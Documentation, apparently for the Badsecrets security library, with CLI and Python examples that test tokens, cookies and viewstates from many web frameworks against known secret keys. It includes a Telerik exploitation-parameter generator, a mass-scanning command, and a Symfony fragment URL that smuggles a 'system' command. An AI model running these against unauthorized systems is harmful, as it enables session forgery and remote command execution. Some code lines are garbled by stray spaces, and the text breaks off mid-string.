python ./badsecrets/examples/cli.py eyJhbGciOiJIUzI1NiJ9.eyJJc3N1ZXIiOiJJc3N1ZXIiLCJVc2VybmFtZSI6IkJhZFNlY3JldHMiLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.ovqRikAo_0kKJ0GVrAwQlezymxrLGjcEiW_s3UJMMCo
python ./badsecrets/examples/cli.py --url http://example.com/contains_bad_secret.html
You can also set a custom user-agent with --user-agent "user-agent string"
or a proxy with --proxy http://127.0.0.1
in this mode.
Example output:
$ python ./badsecrets/examples/cli.py eyJhbGciOiJIUzI1NiJ9.eyJJc3N1ZXIiOiJJc3N1ZXIiLCJVc2VybmFtZSI6IkJhZFNlY3JldHMiLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.ovqRikAo_0kKJ0GVrAwQlezymxrLGjcEiW_s3UJMMCo
badsecrets - example command line interface
***********************
Known Secret Found!
Detecting Module: Generic_JWT
Secret: 1234
Details: {'Issuer': 'Issuer', 'Username': 'BadSecrets', 'exp': 1593133483, 'iat': 1466903083, 'jwt_headers': {'alg': 'HS256'}}
***********************
Bad secrets includes a fully functional CLI example which replicates the functionality of blacklist3r in python badsecrets/examples/blacklist3r.
python ./badsecrets/examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
python ./badsecrets/examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
Fully functional CLI example for identifying known Telerik Hash keys and Encryption keys for Post-2017 versions (those patched for CVE-2017-9248), and brute-forcing version / generating exploitation DialogParameters values.
python ./badsecrets/examples/telerik_knownkey.py --url http://vulnerablesite/Telerik.Web.UI.DialogHandler.aspx
Optionally include ASP.NET MachineKeys with --machine-keys (Will SIGNIFICANTLY increase brute-forcing time)
Brute-force detection of Symfony known secret key when "_fragment" URLs are enabled, even when no example URL containing a hash can be located. Relevent Blog Post.
python ./badsecrets/examples/symfony_knownkey.py --url https://localhost/
One of the best ways to use Badsecrets, especially for the ASPNET_Viewstate
and Jsf_viewstate
modules is with the Badsecrets BBOT module. This will allow you to easily check across thousands of systems in conjunction with subdomain enummeration.
bbot -f subdomain-enum -m badsecrets -t evil.corp
See if a token or other cryptographic product was produced with a known key
from badsecrets import modules_loaded
Django_SignedCookies = modules_loaded["django_signedcookies"]
ASPNET_Viewstate = modules_loaded["aspnet_viewstate"]
Flask_SignedCookies = modules_loaded["flask_signedcookies"]
Peoplesoft_PSToken = modules_loaded["peoplesoft_pstoken"]
Telerik_HashKey = modules_loaded["telerik_hashkey"]
Telerik_EncryptionKey = modules_loaded["telerik_encryptionkey"]
Rails_SecretKeyBase = modules_loaded["rails_secretkeybase"]
Generic_JWT = modules_loaded["generic_jwt"]
Jsf_viewstate = modules_loaded["jsf_viewstate"]
Symfony_SignedURL = modules_loaded["symfony_signedurl"]
Express_SignedCookies = modules_loaded["express_signedcookies"]
Laravel_SignedCookies = modules_loaded["laravel_signedcookies"]
x = ASPNET_Viewstate()
print(f"###{str(x.__class__.__name__)}###")
r = x.check_secret("AgF5WuyVO11CsYJ1K5rjyuLXqUGCITSOapG1cYNiriYQ6VTKochMpn8ws4eJRvft81nQIA==","EDD8C9AE")
if r:
print(r)
else:
print("KEY NOT FOUND :(")
x = Telerik_HashKey()
print(f"###{str(x.__class__.__name__)}###")
r = x.check_secret("vpwClvnLODIx9te2vO%2F4e06KzbKkjtwmNnMx09D1Dmau0dPliYzgpqB9MnEqhPNe3fWemQyH25eLULJi8KiYHXeHvjfS1TZAL2o5Gku1gJbLuqusRXZQYTNlU2Aq4twXO0o0CgVUTfknU89iw0ceyaKjSteOhxGvaE3VEDfiKDd8%2B9j9vD3qso0mLMqn%2Btxirc%2FkIq5oBbzOCgMrJjkaPMa2SJpc5QI2amffBJ%2BsAN25VH%2BwabEJXrjRy%2B8NlYCoUQQKrI%2BEzRSdBsiMOxQTD4vz2TCjSKrK5JEeFMTyE7J39MhXFG38Bq%2FZMDO%2FETHHdsBtTTkqzJ2odVArcOzrce3Kt2%2FqgTUPW%2BCjFtkSNmh%2FzlB9BhbxB1kJt1NkNsjywvP9j7PvNoOBJsa8OwpEyrPTT3Gm%2BfhDwtjvwpvN7l7oIfbcERGExAFrAMENOOt4WGlYhF%2F8c9NcDv0Bv3YJrJoGq0rRurXSh9kcwum9nB%2FGWcjPikqTDm6p3Z48hEnQCVuJNkwJwIKEsYxJqCL95IEdX3PzR81zf36uXPlEa3YdeAgM1RD8YGlwlIXnrLhvMbRvQW0W9eoPzE%2FjP68JGUIZc1TwTQusIWjnuVubFTEUMDLfDNk12tMwM9mfnwT8lWFTMjv9pF70W5OtO7gVN%2BOmCxqAuQmScRVExNds%2FF%2FPli4oxRKfgI7FhAaC%2Fu1DopZ6vvBdUq1pBQE66fQ9SnxRTmIClCpULUhNO90ULTpUi9ga2UtBCTzI8z6Sb6qyQ52NopNZMFdrn9orzdP8 oqFeyYpF%2BQEtbp%2F5AMENkFkWUxHZn8NoSlO8P6G6ubSyDdY4QJPaFS4FxNhhm85WlZC9xfEZ1AGSSBOu9JJVYiKxXnL1yYLqrlWp5mfBHZeUBwEa%2FMjGxZEVYDhXo4PiU0jxN7fYmjaobp3DSgA5H3BcFuNG5d8CUnOlQcEie5b%2BUHOpI9zAk7qcuEUXbaZ5Mvh0t2jXCRALRKYDyBdbHlWAFo10dTIM6L3aSTM5uEz9%2FalXLXoWlMo7dTDpuO5bBfTq7YkoPExL3g3JJX47UhuLq85i3%2Bzxfvd7r%2Fmid69kbD3PnX%2Bj0QxaiShhyOZg6jl1HMeRRXvZap3FPCIfxbCf7j2TRqB5gYefBIIdGYjrdiL6HS8SbjXcROMwh2Fxnt505X4jmkmDcGmneU3z%2B84TSSFewcSpxGEGvHVkkU4OaT6vyFwsxCmdrR187tQZ7gn3ZkAiTps%2FfOPcL5QWXja06Z%2FHT3zboq6Hj9v9NBHzpC1eAK0YN8r4V2UMI3P0%2FsIPQYXhovoeLjJwq6snKZTX37ulE1mbS1uOY%2BZrvFYbLN5DdNL%2B%2Bl%2F%2BcWIpc0RSYBLo19xHpKeoeLjU2sxaYzK%2B92D4zKANdPPvsHPqJD1Y%2FBwCL%2FfZKaJfRK9Bj09ez1Z1ixTEKjIRCwuxijnJGq33faZchbwpMPpTfv43jEriGwXwoqOo9Mbj9ggPAil7O81XZxNT4vv4RoxXTN93V100rt3ClXauL%2BlNID%2BseN2CEZZqnygpTDf2an%2FVsmJGJJcc0goW3l43mhx2U79zeuT94cFPGpvITEbMtjmuNsUbOBuw6nqm5rAs%2FxjIsDRqfQxGQWfS0kuwuU6RRmiME2Ps0NrBENIbZzcbgw6%2BRIwClWkvEG%2BK%2FPdcAdfmRkAPWUNadxnhjeU2jNnzI1yYNIOhziUBPxgFEcAT45E7rWvf8gh T08HZvphzytPmD%2FxuvJaDdRgb6a30TjSpa7i%2BEHkIMxM5eH1kiwhN6xkTcBsJ87epGdFRWKhTGKYwCbaYid1nRs7%2BvQEU7MRYghok8KMTueELipohm3otuKo8V4a7w4TgTSBvPE%2BLPLJRwhM8KcjGlcpzF1NowRo6zeJJhbdPpouUH2NJzDcp7P4uUuUB9Cxt9B986My6zDnz1eyBvRMzj7TABfmfPFPoY3RfzBUzDm%2FA9lOGsM6d9WZj2CH0WxqiLDGmP1Ts9DWX%2FsYyqEGK5R1Xpnp7kRIarPtYliecp50ZIH6nqSkoCBllMCCE6JN%2BdoXobTpulALdmQV0%2Bppv%2FAjzIJrTHgX7jwRGEAeRgAxTomtemmIaH5NtV7xt8XS%2BqwghdJl1D06%2FWhpMtJ1%2FoQGoJ0%2F7ChYyefyAfsiQNWsO66UNVyl71RVPwATnbRO5K5mtxn0M2wuXXpAARNh6pQTcVX%2FTJ4jmosyKwhI6I870NEOsSaWlKVyOdb97C3Bt0pvzq8BagV5FMsNtJKmqIIM0HRkMkalIyfow9iS%2B5xGN5eKM8NE4E6hO4CvmpG%2BH2xFHTSNzloV0FjLdDmj5UfMjhUuEb3rkKK1bGAVaaherp6Ai6N4YJQzh%2FDdpo6al95EZN2OYolzxitgDgsWVGhMvddyQTwnRqRY04hdVJTwdhi4TiCPbLJ1Wcty2ozy6VDs4w77EOAQ5JnxUmDVPA3vXmADJZR0hIJEsuxXfYg%2BRIdV4fzGunV4%2B9jpiyM9G11iiesURK82o%2BdcG7FaCkkun2K2bvD6qGcL61uhoxNeLVpAxjrRjaEBrXsexZ9rExpMlFD8e3NM%2B0K0LQJvdEvpWYS5UTG9cAbNAzBs%3DpDsPXFGf2lEMcyGaK1ouARHUfqU0fzkeVwjXU9ORI%2Fs%3D")
if r:
print(r)< br/>else:
print("KEY NOT FOUND :(")
x = Flask_SignedCookies()
print(f"###{str(x.__class__.__name__)}###")
r = x.check_secret("eyJoZWxsbyI6IndvcmxkIn0.XDtqeQ.1qsBdjyRJLokwRzJdzXMVCSyRTA")
if r:
print(r)
else:
print("KEY NOT FOUND :(")
x = Peoplesoft_PSToken()
print(f"###{str(x.__class__.__name__)}###")
r = x.check_secret("qAAAAAQDAgEBAAAAvAIAAAAAAAAsAAAABABTaGRyAk4AdQg4AC4AMQAwABSpxUdcNT67zqSLW1wY5/FHQd1U6mgAAAAFAFNkYXRhXHicHYfJDUBQAESfJY5O2iDWgwIsJxHcxdaApTvFGX8mefPmAVzHtizta2MSrCzsXBxsnOIt9yo6GvyekZqJmZaBPCUmVUMS2c9MjCmJKLSR/u+laUGuzwdaGw3o")
if r:
print(r)
else:
print("KEY NOT FOUND :(")
x = Django_SignedCookies()
print(f"###{str(x.__class__.__name__)}###")
r = x.check_secret(".eJxVjLsOAiEURP-F2hAuL8HSfr-BAPciq4ZNlt3K-O9KsoU2U8w5My8W4r7VsHdaw4zswoCdfrsU84PaAHiP7bbwvLRtnRMfCj9o59OC9Lwe7t9Bjb2OtbMkAEGQtQjekykmJy9JZIW-6CgUaCGsA6eSyV65s1Qya_xGKZrY-wPVYjdw:1ojOrE:bfOktjgLlUykwCIRI pvaTZRQMM3-UypscEN57ECtXis")
if r:
print(r)
else:
print("KEY NOT FOUND :(")
x = Rails_SecretKeyBase()
print(f"###{str(x.__class__.__name__)}###")
r = x.check_secret("dUEvRldLekFNcklGZ3ZSbU1XaHJ0ZGxsLzhYTHlNTW43T3BVN05kZXE3WUhQOVVKbVA3Rm5WaSs5eG5QQ1VIRVBzeDFNTnNpZ0xCM1FKbzFZTEJISzhaNzFmVGYzME0waDFURVpCYm5TQlJFRmRFclYzNUZhR3VuN29PMmlkVHBrRi8wb3AwZWgvWmxObkFOYnpkeHR1YWpWZ3lnN0Y4ZW9xSk9LNVlQd0U4MmFsbWtLZUI5VzkzRkM4YXBFWXBWLS15L00xME1nVFp2ZTlmUWcxZVlpelpnPT0=--7efe7919a5210cfd1ac4c6228e3ff82c0600d841")
if r:
print(r)
else:
print("KEY NOT FOUND :(")
x = Generic_JWT()
print(f"###{str(x.__class__.__name__)}###")
r = x.check_secret("eyJhbGciOiJIUzI1NiJ9.eyJJc3N1ZXIiOiJJc3N1ZXIiLCJVc2VybmFtZSI6IkJhZFNlY3JldHMiLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.ovqRikAo_0kKJ0GVrAwQlezymxrLGjcEiW_s3UJMMCo")
if r:
print(r)
else:
print("KEY NOT FOUND :(")
x = Telerik_Encrypt ionKey()
print(f"###{str(x.__class__.__name__)}###")
r = x.check_secret("owOnMokk%2F4N7IMo6gznRP56OYIT34dZ1Bh0KBbXlFgztgiNNEBYrgWRYDBkDlX8BIFYBcBztC3NMwoT%2FtNF%2Ff2nCsA37ORIgfBem1foENqumZvmcTpQuoiXXbMWW8oDjs270y6LDAmHhCRsl4Itox4NSBwDgMIOsoMhNrMigV7o7jlgU16L3ezISSmVqFektKmu9qATIXme63u4IKk9UL%2BGP%2Fk3NPv9MsTEVH1wMEf4MApH5KfWBX96TRIc9nlp3IE5BEWNMvI1Gd%2BWXbY5cSY%2Buey2mXQ%2BAFuXAernruJDm%2BxK8ZZ09TNsn5UREutvNtFRrePA8tz3r7p14yG756E0vrU7uBz5TQlTPNUeN3shdxlMK5Qzw1EqxRZmjhaRpMN0YZgmjIpzFgrTnT0%2Bo0f6keaL8Z9TY8vJN8%2BEUPoq%2F7AJiHKm1C8GNc3woVzs5mJKZxMUP398HwGTDv9KSwwkSpHeXFsZofbaWyG0WuNldHNzM%2FgyWMsnGxY6S086%2F477xEQkWdWG5UE%2FowesockebyTTEn3%2B%2FqiVy%2FIOxXvMpvrLel5nVY%2FSouHp5n2URRyRsfo%2B%2BOXJZo7yxKQoYBSSkmxdehJqKJmbgxNp5Ew8m89xAS5g99Hzzg382%2BxFp8yoDVZMOiTEuw0J%2B4G6KizqRW9cis%2FELd0aDE1V7TUuJnFrX%2BlCLOiv100tKpeJ0ePMOYrmvSn0wx7JhswNuj%2BgdKqvCnMSLakGWiOHxu5m9Qqdm3s5sk7nsaxMkh8IqV%2BSzB9A2K1kYEUlY40II1Wun67OSdLlYfdCFQk4ED0N%2BV4kES%2F1xpGiaPhxjboFiiV%2BkvCyJfkuotYuN%2B42CqF yAyepXPA%2BR5jVSThT6OIN2n1UahUnrD%2BwKKGMA9QpVPTSiGLen2KSnJtXISbrl2%2BA2AnQNH%2BMEwYVNjseM0%2BAosbgVfNde2ukMyugo%2FRfrRM27cbdVlE0ms0uXhlgKAYJ2ZN54w1tPWhpGxvZtB0keWpZan0YPh8CBgzsAIMa04HMYLCtgUTqxKqANoKXSy7VIJUzg3fl%2F2WUELjpXK9gRcgexNWDNB1E0rHd9PUo0PvpB4fxSrRpb1LRryipqsuoJ8mrpOVrVMvjracBvtoykK3GrN%2FDUlXkSG%2FAeBQN7HwDJ9QPi3AtEOohp78Op3nmbItXo7IJUSjzBNzUYR8YPj6Ud7Fje9LZSwMBngvgx%2BOKy6HsV4ofOAU2%2FK1%2BfxI0KkCeoSso9NJHWgBD7ijfXUa1Hrc%2FuNU3mTlSSVp3VStQrJbQCkr4paaHYWeeO4pRZCDSBNUzs9qq3TDePwpEQc4QROrw5htdniRk26lFIFm%2Fzk2nC77Pg%2BrkRC1W%2BlRv0lyXsmXVBCe8F1szpWXHCxHNAJwKH%2FBb%2BV1k6AXFXVWPW5vADbXUvRu0s6KLaqu6a0KCB7dt3K2Ni%2FI6O%2FmISYXzknbMrwwakNfajbRF2ibodgR9R9xvoCoCXa3ka7%2Fejr%2BmsZ2HvPKUAffd2fNIWCQrejfpuIoOWiYx6ufN8E41HetCbYfvsI6JQfPOEdOYWI2px%2BLdfO3Nybq99%2BRSQOhjNZakBP54ozlCUfwgpLOmTBwsswZexv1RK5MIi8%2FWtjlJ%2FKjkYxdkFUlwggGS2xDwzcyl2%2FakNCQ5YmxjU8cRY7jZQRMo%2F8uTw5qa2MNZPaQGI18uRgr0i%2FTX3t57fJYCpMLXSaUKIdO7O%2FCQhIyGTS6KrPN%2B3%2FgUb%2BPQ1viGhpnWfGEYF9vhIlK57z8G8G82UQ3DpttD7M 8mQ0KsmCOq75ECx9CWrWGk51vADlm%2BLEZ5oWjVMs%2FThki40B7tL7gzFrBuQksWXYeubMzZfFo4ZQ49di4wupHG5kRsyL2fJUzgpaLDP%2BSe6%2FjCnc52C7lZ3Ls0cHJVf9HRwDNXWM%2B4h8donNy5637QWK%2BV7mlH%2FL4xBZCfU9l6sIz%2FWHMtRaQprEem6a%2FRwPRDBiP65I2EwZLKGY8I%2F1uXJncwC8egLu82JY9maweI0VmJSmRcTf0evxqqe7vc9MqpsUlpSVNh4bFnxVIo5E4PGX70kVaTFe0vu1YdGKmFX5PLvkmWIf%2FnwfgPMqYsa0%2F09trboJ5LGDEQRXSBb7ldG%2FwLdOiqocYKAb91SMpn1fXVPBgkPM27QZxHnSAmWVbJR2%2FIhO%2BIVNzkgFAJlptiEPPPTxuBh%2BTT7CaIQE3oZbbJeQKvRkrt4bawTCOzciU%2F1zFGxubTJTSyInjQ8%2F1tVo7KjnxPKqGSfwZQN%2FeWL6R%2FpvCb%2BE6D4pdyczoJRUWsSNXNnA7QrdjgGNWhyOMiKvkDf3RD4mrXbul18WYVTsLyp0hvQsbdwBWOh7VlwfrWdy%2BklsttFi%2B%2BadKR7DbwjLTcxvdNpTx1WJhXROR8jwW26VEYSXPVqWnYvfyZo4DojKHMSDMbAakbuSJdkGP1d5w0AYbKlAcVQOqp9hbAvfwwLy4ErdIsOg0YEeCcnQVRAXwaCI9JvWWmM%2FzYJzE3X45A6lU9Pe7TAbft810MYh7lmV6Keb5HI6qXFiD%2B8khBZqi%2FsK6485k0a86aWLxOb4Eqnoc41x%2BYPv5CWfvP6cebsENo%3D%2BIUg0f64C4y77N4FZ6C82m5wMpvDQIHqx0ZFIHLhwMg%3D")
if r:
print(r)
else:
print("KEY NOT FOUND :(" )
x = Jsf_viewstate()
print(f"###{str(x.__class__.__name__)}###")
r = x.check_secret("wHo0wmLu5ceItIi+I7XkEi1GAb4h12WZ894pA+Z4OH7bco2jXEy1RSCWwjtJcZNbWPcvPqL5zzfl03DoeMZfGGX7a9PSv+fUT8MAeKNouAGj1dZuO8srXt8xZIGg+wPCWWCzcX6IhWOtgWUwiXeSojCDTKXklsYt+kzlVbk5wOsXvb2lTJoO0Q==")
if r:
print(r)
else:
print("KEY NOT FOUND :(")
x = Symfony_SignedURL()
print(f"###{str(x.__class__.__name__)}###")
r = x.check_secret("https://localhost/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull&_hash=Xnsvx/yLVQaimEd1CfepgH0rEXr422JnRSn/uaCE3gs=")
if r:
print(r)
else:
print("KEY NOT FOUND :(")
x = Express_SignedCookies()
print(f"###{str(x.__class__.__name__)}###")
r = x.check_secret("s%3A8FnPwdeM9kdGTZlWvdaVtQ0S1BCOhY5G.qys7H2oGSLLdRsEq7sqh7btOohHsaRKqyjV4LiVnBvc")
if r:
print(r)
else:
print("KEY NOT FOUND :(")
x = Laravel_SignedCo okies()
print(f"###{str(x.__class__.__name__)}###")
r = x.check_secret("eyJpdiI6IlhlNTZ2UjZUQWZKVHdIcG9nZFkwcGc9PSIsInZhbHVlIjoiRlUvY2grU1F1b01lSXdveXJ0T3N1WGJqeVVmZlNRQjNVOWxiSzljL1Z3RDhqYUdDbjZxMU9oSThWRzExT0YvUmthVzVKRE9kL0RvTEw1cFRhQkphOGw4S2loV1ZrMkkwTHd4am9sZkJQd2VCZ3R0VlFSeFo3ay9wTlBMb3lLSG8iLCJtYWMiOiJkMmU3M2ExNDc2NTc5YjAwMGMwMTdkYTQ1NThkMjRkNTY2YTE4OTg2MzY5MzE5NGZmOTM4YWVjOGZmMWU4NTk2IiwidGFnIjoiIn0%3D")
if r:
print(r)
else:
print("KEY NOT FOUND :(")
An additional layer of abstraction above check_secret, which accepts a python requests.response object or a string
import requests
from badsecrets import modules_loaded
Telerik_HashKey = modules_loaded["telerik_hashkey"]
x = Telerik_HashKey()
res = requests.get(f"http://example.com/")
r_list = x.carve(requests_response=res)
print(r_list)
telerik_dialogparameters_sample = """
Sys.Application.add_init(function() {
$create(Telerik.Web.UI.RadDialogOpener, {"_dialogDefinitions":{"ImageManager":{"SerializedParameters":"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","Width":"770px","Height":"588px","Title":"Image Manager"}
"""
r_list = x.carve(body=telerik_dialogparameters_sample)
print(r_list)
from badsecrets.base import check_all_modules
tests = [
"yJrdyJV6tkmHLII2uDq1Sl509UeDg9xGI4u3tb6dm9BQS4wD08KTkyXKST4PeQs00giqSA==",
"eyJoZWxsbyI6IndvcmxkIn0.XDtqeQ.1qsBdjyRJLokwRzJdzXMVCSyRTA",
"vpwClvnLODIx9te2vO%2F4e06KzbKkjtwmNnMx09D1Dmau0dPliYzgpqB9MnEqhPNe3fWemQyH25eLULJi8KiYHXeHvjfS1TZAL2o5Gku1gJbLuqusRXZQYTNlU2Aq4twXO0o0CgVUTfknU89iw0ceyaKjSteOhxGvaE3VEDfiKDd8%2B9j9vD3qso0mLMqn%2Btxirc%2FkIq5oBbzOCgMrJjkaPMa2SJpc5QI2amffBJ%2BsAN25VH%2BwabEJXrjRy%2B8NlYCoUQQKrI%2BEzRSdBsiMOxQTD4vz2TCjSKrK5JEeFMTyE7J39MhXFG38Bq%2FZMDO%2FETHHdsBtTTkqzJ2odVArcOzrce3Kt2%2FqgTUPW%2BCjFtkSNmh%2FzlB9BhbxB1kJt1NkNsjywvP9j7PvNoOBJsa8OwpEyrPTT3Gm%2BfhDwtjvwpvN7l7oIfbcERGExAFrAMENOOt4WGlYhF%2F8c9NcDv0Bv3YJrJoGq0rRurXSh9kcwum9nB%2FGWcjPikqTDm6p3Z48hEnQCVuJNkwJwIKEsYxJqCL95IEdX3PzR81zf36uXPlEa3YdeAgM1RD8YGlwlIXnrLhvMbRvQW0W9eoPzE%2FjP68JGUIZc1TwTQusIWjnuVubFTEUMDLfDNk12tMwM9mfnwT8lWFTMjv9pF70W5OtO7gVN%2BOmCxqAuQmScRVExNd s%2FF%2FPli4oxRKfgI7FhAaC%2Fu1DopZ6vvBdUq1pBQE66fQ9SnxRTmIClCpULUhNO90ULTpUi9ga2UtBCTzI8z6Sb6qyQ52NopNZMFdrn9orzdP8oqFeyYpF%2BQEtbp%2F5AMENkFkWUxHZn8NoSlO8P6G6ubSyDdY4QJPaFS4FxNhhm85WlZC9xfEZ1AGSSBOu9JJVYiKxXnL1yYLqrlWp5mfBHZeUBwEa%2FMjGxZEVYDhXo4PiU0jxN7fYmjaobp3DSgA5H3BcFuNG5d8CUnOlQcEie5b%2BUHOpI9zAk7qcuEUXbaZ5Mvh0t2jXCRALRKYDyBdbHlWAFo10dTIM6L3aSTM5uEz9%2FalXLXoWlMo7dTDpuO5bBfTq7YkoPExL3g3JJX47UhuLq85i3%2Bzxfvd7r%2Fmid69kbD3PnX%2Bj0QxaiShhyOZg6jl1HMeRRXvZap3FPCIfxbCf7j2TRqB5gYefBIIdGYjrdiL6HS8SbjXcROMwh2Fxnt505X4jmkmDcGmneU3z%2B84TSSFewcSpxGEGvHVkkU4OaT6vyFwsxCmdrR187tQZ7gn3ZkAiTps%2FfOPcL5QWXja06Z%2FHT3zboq6Hj9v9NBHzpC1eAK0YN8r4V2UMI3P0%2FsIPQYXhovoeLjJwq6snKZTX37ulE1mbS1uOY%2BZrvFYbLN5DdNL%2B%2Bl%2F%2BcWIpc0RSYBLo19xHpKeoeLjU2sxaYzK%2B92D4zKANdPPvsHPqJD1Y%2FBwCL%2FfZKaJfRK9Bj09ez1Z1ixTEKjIRCwuxijnJGq33faZchbwpMPpTfv43jEriGwXwoqOo9Mbj9ggPAil7O81XZxNT4vv4RoxXTN93V100rt3ClXauL%2BlNID%2BseN2CEZZqnygpTDf2an%2FVsmJGJJcc0goW3l43mhx2U79zeuT94cFPGpvITEbMtjmuNsUbOBuw6nqm5rAs%2FxjIsDRqfQ 